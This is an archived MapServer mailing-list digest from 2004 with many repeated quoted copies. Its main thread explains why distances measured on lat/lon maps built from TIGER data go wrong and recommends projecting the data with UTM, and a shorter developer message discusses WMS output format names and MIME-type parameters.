PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --0-685662255-1078344907=:37492 Content-Type: text/html; charset=us-ascii
I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed@topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed@topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster. --0-685662255-1078344907=:37492-- From ed@topozone.com Wed Mar 3 20:24:13 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 15:24:13 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E73@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C4015D.7E88C239 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: =20 Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 =20 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1=20 =20 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! =20 Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. =20 You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. =20 Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. =20 If you can provide a bit more detail on what you're trying to do we can offer more advice. =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation =09 =09 Thank you for your quick response. =20 Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? =20 Again, point me elsewhere if I am pushing in the wrong direction. =20 Thank you, =20 Map Guy =09 Ed McNierney wrote: Dear Map Guy - =20 If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. =20 Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. =20 You need to choose a projected coordinate system in order to do reasonable distance measurements. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation =09 =09 We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.=20 =20 2 questions: =20 1. Should we be seeing this much difference in distances? =20 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? =20 Thanks in advance. =20 P.S. Point me somewhere else if this is the wrong place to ask these questions. =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 =09 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 _____ =20 Do you Yahoo!? Yahoo! Search - Find what you're looking for faster. =20 ------_=_NextPart_001_01C4015D.7E88C239 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
I don't know what a "Cartesian" distance in = miles means=20 when your units are in degrees and the conversion between degrees and = miles=20 depends on the length and the orientation of the = line.
 
As I said, if you can provide more detail we = can offer more=20 advice.  For example, if all your distances are at a "small scale", = that's=20 more detail (you didn't say that before).  That helps define the = problem=20 better and helps us suggest solutions.  Please describe the problem = you're=20 trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242 =


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed=20 McNierney
Cc: = mapserver-users@lists.gis.umn.edu
Subject: RE:=20 [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results = would=20 be so different at such a small scale. Would you tell me if these = results seem=20 right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 =
 
Thanks again.

Ed McNierney = <ed@topozone.com>=20 wrote:
First, please ALWAYS reply to the entire = list. =20 That way everyone benefits from the conversation, and the first person = to=20 answer your question doesn't have to make a lifetime commitment to = further=20 questions!
 
Yes, of course you can choose one = projection for your=20 entire set of data.  Or you could switch based on what you're=20 mapping.  The reason there are so many map projections is because = each=20 has different properties, and therefore does some things well and = other things=20 less well.  The classic Mercator projection is excellent if you = are=20 navigating with a compass; it is very poor if you're trying to = persuade=20 someone that Brazil is several times larger than=20 Greenland.
 
You also need to have a feel for what level = of=20 accuracy you need for your measurements.  The UTM family of = projections=20 is popular in part because it allows fairly accurate distance = measurements,=20 does not distort shapes badly, and is easy to use.  However, you = need 10=20 different UTM zones to cover the lower 48 states.  If you need = even more=20 accuracy a custom Transverse Mercator projection centered on the=20 longitude of your central point would be better.
 
Mapping large areas in a single map is = harder to do=20 in an appealing way than mapping small areas, because spatial = distortion=20 becomes more obvious.
 
If you can provide a bit more detail on = what you're=20 trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed=20 McNierney
Subject: RE: [Mapserver-users] Distance=20 Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data = which=20 includes the whole United States (TIGER data). Or, do I somehow have = to switch=20 based on what I am mapping? If the latter is true, then do you have a=20 suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong = direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed@topozone.com> = wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic = projection"=20 map it will not be a circle.  If you create a map with a = 20-mile extent=20 it will not be a square.
 
Maps using "geographic projection" are = useless for=20 making distance measurements; you simply cannot do them in any kind = of=20 sensible way.  The width of the top edge (east-west) of your = "20 mile"=20 image is DIFFERENT than the width of the bottom edge.  In fact, = each=20 row of pixels running across the image has a different width in=20 miles/feet/meters because they're all different distances from the=20 Equator.  That's why the set of all points 8 miles from a given = point=20 is not a circle or ring; it's not even an = ellipse.
 
You need to choose a projected coordinate = system in=20 order to do reasonable distance measurements.
 
   =20 - Ed
 

Ed McNierney
President and Chief = Mapmaker
TopoZone.com=20 / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North=20 Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242=20


From: Map Guy = [mailto:mappington@yahoo.com]=20
Sent: Wednesday, March 03, 2004 12:21 PM
To:=20 mapserver-users@lists.gis.umn.edu
Subject: = [Mapserver-users]=20 Distance Calculation

We use TIGER data for our mapping data source. We use a = geographic=20 projection (lat/lon). When we draw an 8 mile ring on a map with a 20 = mile=20 extent, and we plot a point and calculate the distance from the = center using Great Circle we get 7.5 miles. Using a Cartesian=20 calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a = geographic=20 projection (lat/lon) and display distances between points using = Great Circle=20 without the distance placing the point incorrectly inside or outside = the=20 ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask = these=20 questions.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking=20 for faster.

Do you Yahoo!?
Yahoo! Search - Find what = you’re looking for=20 faster. ------_=_NextPart_001_01C4015D.7E88C239-- From dmorissette@dmsolutions.ca Wed Mar 3 20:27:08 2004 From: dmorissette@dmsolutions.ca (Daniel Morissette) Date: Wed, 03 Mar 2004 15:27:08 -0500 Subject: [Mapserver-users] WMS Problems... In-Reply-To: <40461EA4.7010105@pobox.com> References: <40461EA4.7010105@pobox.com> Message-ID: <40463F9C.8040701@dmsolutions.ca> (Should we move this discussion to mapserver-dev?) Frank Warmerdam wrote: > > OK, looking in the code I see the following logic. Basically, because the > WMS 1.0.0 format names are ideosyncratic I guess someone (perhaps me?) made > the decision to just hardcode and support a few formats. That was me. (Not the decision on the format names, but the limited implementation) > > One is, should we fix 1.0.0 WMS support to emit entries for all > declared formats? Perhaps using the name of the outputformat > converted to upper case? This would give us the "well known" names > for the default GIF, PNG and JPEG formats and would allow arbitrary > other formats to be listed. > That would be a good idea... as Frank suggested, a bug should be filed if someone really cares about custom formats being listed in WMS 1.0.0 > The other issue is that there is currently no way to prevent the various > internally declared formats from appearing. Basically, all the standard > formats (if built in) will appear regardless of what output formats are > declared in the map file. The predefined ones are listed here (from > mapoutput.c): > There is already bug 455 which is indirectly related to that issue: http://mapserver.gis.umn.edu/bugs/show_bug.cgi?id=455 > > If you see a need for being able to avoid pre-defined formats from > showing up in the list in the capabilities then file another bug > about this, but I think we should talk a bit about how to accomplish > it without too much disruption. > One possibility could be a flag in the outputformat object that indicates whether a given format should be visible in capabilities. The set of pre-defined formats would have some valid default settings so that things like text/xml doesn't appear in capabilities (see bug 455) In a previous message, Frank also wrote: > > It seems to me there is some way of adding options to mime types. Perhaps > we could have something like a mime type of "image/tiff+24bit" or something. > Anyone know more about this? > There was a thread on this on WMS-Dev back in June/July of 2002: http://www.intl-interfaces.net/pipermail/wms-dev/2002-June/000180.html There were two proposals, one by you (Frank): image/png image/png; name=png8 image/png; name=png24> and one by Craig Bruce from Cubewerx: image/png; PhotometricInterpretation=PaletteColor; SamplesPerPixel=1; BitsPerSample=8 image/png; PhotometricInterpretation=RGB; SamplesPerPixel=3; BitsPerSample="8,8,8" image/png It seemed that everyone agreed on the passing of additional parameters, but not on the name of the parameters to use. Jeff DLB concluded that email thread by saying that he would include a note in the WMS spec. I found the following note in the WMS 1.3.0 discussion paper: --- The basic structure of a MIME type is a string of the form "type/subtype". MIME allows additional parameters in a string of the form "type/subtype; param1=value1; param2=value2". A server may include parameterized MIME types in its list of supported output formats. In addition to any parameterized variants, the server should offer the basic unparameterized version of the format. --- However I didn't find anything specific to the name of the parameters to use to describe 8 bits vs 24 bits for instance. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette@dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From mappington@yahoo.com Wed Mar 3 20:29:15 2004 From: mappington@yahoo.com (Map Guy) Date: Wed, 3 Mar 2004 12:29:15 -0800 (PST) Subject: [Mapserver-users] Distance Calculation In-Reply-To: <13858AA1A74F30419F319ACB66A9D1224E3E73@mercator.topozone.com> Message-ID: <20040303202915.86712.qmail@web61110.mail.yahoo.com> --0-175570635-1078345755=:85870 Content-Type: text/plain; charset=us-ascii We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off. So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right: Point 1 (Lon,Lat): -87.6552,41.9148 Point 2 (Lon,Lat): -87.8081,41.8884 Cartesian Distance between Point 1 and 2 in miles: 11.2 Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1 Thanks again. Ed McNierney wrote: First, please ALWAYS reply to the entire list. That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions! Yes, of course you can choose one projection for your entire set of data. Or you could switch based on what you're mapping. The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well. The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland. You also need to have a feel for what level of accuracy you need for your measurements. The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use. However, you need 10 different UTM zones to cover the lower 48 states. If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better. Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious. If you can provide a bit more detail on what you're trying to do we can offer more advice. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 2:01 PM To: Ed McNierney Subject: RE: [Mapserver-users] Distance Calculation Thank you for your quick response. Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that? Again, point me elsewhere if I am pushing in the wrong direction. Thank you, Map Guy Ed McNierney wrote: Dear Map Guy - If you draw an 8-mile ring on a "geographic projection" map it will not be a circle. If you create a map with a 20-mile extent it will not be a square. Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way. The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge. In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator. That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse. You need to choose a projected coordinate system in order to do reasonable distance measurements. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242 --------------------------------- From: Map Guy [mailto:mappington@yahoo.com] Sent: Wednesday, March 03, 2004 12:21 PM To: mapserver-users@lists.gis.umn.edu Subject: [Mapserver-users] Distance Calculation We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles. 2 questions: 1. Should we be seeing this much difference in distances? 2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring? Thanks in advance. P.S. Point me somewhere else if this is the wrong place to ask these questions. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you’re looking for faster. --0-175570635-1078345755=:85870 Content-Type: text/html; charset=us-ascii
We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.
 
So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right?
 
Thanks and let me know if you need more detail to provide suggestions.


Ed McNierney <ed@topozone.com> wrote:
I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line.
 
As I said, if you can provide more detail we can offer more advice.  For example, if all your distances are at a "small scale", that's more detail (you didn't say that before).  That helps define the problem better and helps us suggest solutions.  Please describe the problem you're trying to solve and we'll help!
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 3:15 PM
To: Ed McNierney
Cc: mapserver-users@lists.gis.umn.edu
Subject: RE: [Mapserver-users] Distance Calculation

I know it is a very simple question, but I didn't think the results would be so different at such a small scale. Would you tell me if these results seem right:
 
Point 1 (Lon,Lat): -87.6552,41.9148
Point 2 (Lon,Lat): -87.8081,41.8884
 
Cartesian Distance between Point 1 and 2 in miles: 11.2
Great Circle (assuming sphere) Distance between Point 1 and 2: 8.1
 
Thanks again.

Ed McNierney <ed@topozone.com> wrote:
First, please ALWAYS reply to the entire list.  That way everyone benefits from the conversation, and the first person to answer your question doesn't have to make a lifetime commitment to further questions!
 
Yes, of course you can choose one projection for your entire set of data.  Or you could switch based on what you're mapping.  The reason there are so many map projections is because each has different properties, and therefore does some things well and other things less well.  The classic Mercator projection is excellent if you are navigating with a compass; it is very poor if you're trying to persuade someone that Brazil is several times larger than Greenland.
 
You also need to have a feel for what level of accuracy you need for your measurements.  The UTM family of projections is popular in part because it allows fairly accurate distance measurements, does not distort shapes badly, and is easy to use.  However, you need 10 different UTM zones to cover the lower 48 states.  If you need even more accuracy a custom Transverse Mercator projection centered on the longitude of your central point would be better.
 
Mapping large areas in a single map is harder to do in an appealing way than mapping small areas, because spatial distortion becomes more obvious.
 
If you can provide a bit more detail on what you're trying to do we can offer more advice.
 
    - Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 2:01 PM
To: Ed McNierney
Subject: RE: [Mapserver-users] Distance Calculation

Thank you for your quick response.
 
Is it possible to choose one projection for my entire set of data which includes the whole United States (TIGER data). Or, do I somehow have to switch based on what I am mapping? If the latter is true, then do you have a suggestion on how I would do that?
 
Again, point me elsewhere if I am pushing in the wrong direction.
 
Thank you,
 
Map Guy

Ed McNierney <ed@topozone.com> wrote:
Dear Map Guy -
 
If you draw an 8-mile ring on a "geographic projection" map it will not be a circle.  If you create a map with a 20-mile extent it will not be a square.
 
Maps using "geographic projection" are useless for making distance measurements; you simply cannot do them in any kind of sensible way.  The width of the top edge (east-west) of your "20 mile" image is DIFFERENT than the width of the bottom edge.  In fact, each row of pixels running across the image has a different width in miles/feet/meters because they're all different distances from the Equator.  That's why the set of all points 8 miles from a given point is not a circle or ring; it's not even an ellipse.
 
You need to choose a projected coordinate system in order to do reasonable distance measurements.
 
    - Ed
 

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed@topozone.com
(978) 251-4242


From: Map Guy [mailto:mappington@yahoo.com]
Sent: Wednesday, March 03, 2004 12:21 PM
To: mapserver-users@lists.gis.umn.edu
Subject: [Mapserver-users] Distance Calculation

We use TIGER data for our mapping data source. We use a geographic projection (lat/lon). When we draw an 8 mile ring on a map with a 20 mile extent, and we plot a point and calculate the distance from the center using Great Circle we get 7.5 miles. Using a Cartesian calculation we get 8.2 miles.
 
2 questions:
 
1. Should we be seeing this much difference in distances?
 
2. What is the correct way to draw a ring on a map using a geographic projection (lat/lon) and display distances between points using Great Circle without the distance placing the point incorrectly inside or outside the ring?
 
Thanks in advance.
 
P.S. Point me somewhere else if this is the wrong place to ask these questions.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster.

Do you Yahoo!?
Yahoo! Search - Find what you’re looking for faster. --0-175570635-1078345755=:85870-- From ed@topozone.com Wed Mar 3 20:55:11 2004 From: ed@topozone.com (Ed McNierney) Date: Wed, 3 Mar 2004 15:55:11 -0500 Subject: [Mapserver-users] Distance Calculation Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3E79@mercator.topozone.com> This is a multi-part message in MIME format. ------_=_NextPart_001_01C40161.D1A02DCD Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Yes, that helps a lot. First, you MUST project your data if you're going to create a raster image of it, unless your users have ellipsoidal monitor screens . Using lat/lon coordinates as X/Y coordinates is a projection, too - it's just not a very useful one for most purposes. If you're going to measure distances you need appropriately projected maps. =20 You might do best with the UTM projection family. It is simple, common, and easy to use. It is not an equidistant projection and there will be a VERY small distortion, but for areas as small as yours I think it will be completely invisible. There are other more accurate projections (equidistant conic, for example) that require more work on your part. =20 You do, however, need to choose the appropriate UTM zone for each map you make, based on the longitude of the center point. If you try to make a map that is very small scale (showing a large portion of the country) it will look strange around the edges. But if you make maps of less than a few hundred miles in extent no one will notice. =20 - Ed =20 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:29 PM To: Ed McNierney Cc: mapserver-users@lists.gis.umn.edu Subject: RE: [Mapserver-users] Distance Calculation We are trying to map underlying layers like streets, parks, cities, etc. taken from TIGER for the United States. Then on top of this we are drawing a ring usually less than 20 miles with the center being the center of the map. Then we are mapping points given to us with lat/lon. In the legend we put the distance of the point from the center of the map. It is this distance which when done with Great Circle calc raised the red flag because the distance would put the point outside the circle when it was being drawn inside the circle. If we used Cartesian distance, then the distance would be off.=20 =20 So, based on your answers, we MUST project our data in order for our distance shown in the legend to be accurate and also match what we draw on the map, right? =20 Thanks and let me know if you need more detail to provide suggestions. Ed McNierney wrote:=20 I don't know what a "Cartesian" distance in miles means when your units are in degrees and the conversion between degrees and miles depends on the length and the orientation of the line. =20 As I said, if you can provide more detail we can offer more advice. For example, if all your distances are at a "small scale", that's more detail (you didn't say that before). That helps define the problem better and helps us suggest solutions. Please describe the problem you're trying to solve and we'll help! =20 - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed@topozone.com (978) 251-4242=20 _____ =20 From: Map Guy [mailto:mappington@yahoo.com]=20 Sent: Wednesday, March 03, 2004 3:15 PM To: Ed McNierney Cc: mapserver-users@lists.gis.umn.edu Subject: 